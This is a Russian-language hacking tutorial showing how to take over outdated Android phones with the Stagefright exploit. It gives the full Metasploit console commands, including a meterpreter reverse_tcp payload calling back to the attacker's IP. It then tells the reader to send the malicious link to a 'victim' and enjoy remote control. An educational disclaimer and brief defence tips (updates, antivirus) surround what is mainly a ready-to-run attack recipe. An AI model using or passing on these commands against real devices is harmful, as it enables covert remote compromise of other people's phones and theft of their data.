Вступить в наш чат
Исследователем кибербезопасности из Zimperium была обнаружена уязвимость в Android, которая представляет собой тип атаки переполнения буфера. В этой статье речь пойдет о Stagefright. Этот удаленный эксплойт не требует никакой сложной работы, все что нужно сделать хакеру - это отправить вредоносную ссылку на файл, при нажатии на которую произойдет сбой: андроид будет взломан, а пользователь даже не догадается об этом. Сегодня мы покажем, как хакеры удаленно взламывают андроиды с помощью эксплойта Stagefright. Итак, приступим.
Дисклеймер: Данная статья представлена исключительно в образовательных целях для информирования читателей о взломах. Мы не несём ответственности за любые ваши действия.
Взлом Android с эксплойтом Stagefright
Шаг 1: Загрузите Kali Linux.
Запустите свой компьютер с Kali Linux и откройте Metasploit.
Шаг 2: Настройте сервер Metasploit для использования эксплойта stagefright.
Чтобы настроить Metasploit, введите следующие команды в консоли msf:
use exploit/android/browser/stagefright_mp4_tx3g_64bit
set SRVHOST 192.168.182.136 (your IP here)
set URIPATH /
set payload linux/armle/meterpreter/reverse_tcp
set lhost 192.168.182.136 (здесь ваш IP)
set verbose true
exploit -j
Шаг 3: Теперь, когда эксплойт запущен, отправьте вредоносную ссылку жертве.
В нашем случае ссылка такая: http://192.168.182.136:8080/
Шаг 4: Наслаждайтесь взломом.
Как только жертва нажмет на ссылку, ее телефон будет скомпрометирован. И вы сможете управлять им удаленно с помощью эксплойта stagefright.
Эта атака работает не на всех андроидах, только с устаревшем ПО.
Как защититься от этого хака?
Проверьте, не уязвимо ли ваше устройство. Для этого используйте приложение Norton для защиты от эксплойтов.
Обновите ваш телефон: эта уязвимость давно исправлена, убедитесь, что вы регулярно обновляете свое устройство.
Поменяйте телефон: не используйте устаревшие устройства, которые не обновлялись более года.
Google Play: устанавливайте приложения только из официального магазина игр. Не открывайте неизвестные ссылки и файлы, которым вы не доверяете.
Установите антивирус: дополнительная защита не повредит и всегда поможет быть начеку.
На этом все. Удачи!